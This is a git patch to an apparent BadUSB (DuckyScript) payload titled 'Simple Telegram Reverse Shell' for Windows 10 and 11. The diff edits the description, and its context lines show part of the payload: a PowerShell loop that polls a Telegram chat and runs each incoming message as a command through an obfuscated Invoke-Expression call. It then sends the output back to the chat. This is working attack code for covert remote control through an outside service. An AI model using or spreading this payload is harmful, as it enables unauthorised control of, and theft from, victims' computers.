From e4914081698faeacfd80b5895e6fbf7516cfcfcd Mon Sep 17 00:00:00 2001 From: beigeworm <93350544+beigeworm@users.noreply.github.com> Date: Wed, 5 Jul 2023 23:46:28 +0000 Subject: [PATCH] Update Telegram Reverse Shell.txt --- OSINT/Telegram Reverse Shell.txt | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/OSINT/Telegram Reverse Shell.txt b/OSINT/Telegram Reverse Shell.txt index 23eaf88..4ab8bfd 100644 --- a/OSINT/Telegram Reverse Shell.txt +++ b/OSINT/Telegram Reverse Shell.txt @@ -1,6 +1,7 @@ REM Title: Simple Telegram Reverse Shell REM Author: @beigeworm -REM Description: This script connects target computer with a telegram chat to send powershell commands. +REM Description: A script that connects target computer with a telegram chat to send powershell commands. +REM The script will wait in a loop until you interact with it later on via telegram. REM Target: Windows 10,11 REM SETUP INSTRUCTIONS @@ -54,4 +55,4 @@ STRING ;Sleep 3;While ($true){sleep 2;$messages=rtgmsg;if($LastUmsg -like $null) STRING ;if(($CheckAuthentication -ne 0) -and ($messages.message.text -notlike $PassPhrase) -and ($messages.message.date -ne $LastmsgID)){try{$Result=ie`x($messages.message.text) -ErrorAction Stop;$Result STRING ;stgmsg -Messagetext $Result -ChatID $messages.message.chat.id}catch{stgmsg -Messagetext ($_.exception.message) -ChatID $messages.message.chat.id}Finally{$LastmsgID=$messages.message.date}}}};sleep 5;exit -ENTER \ No newline at end of file +ENTER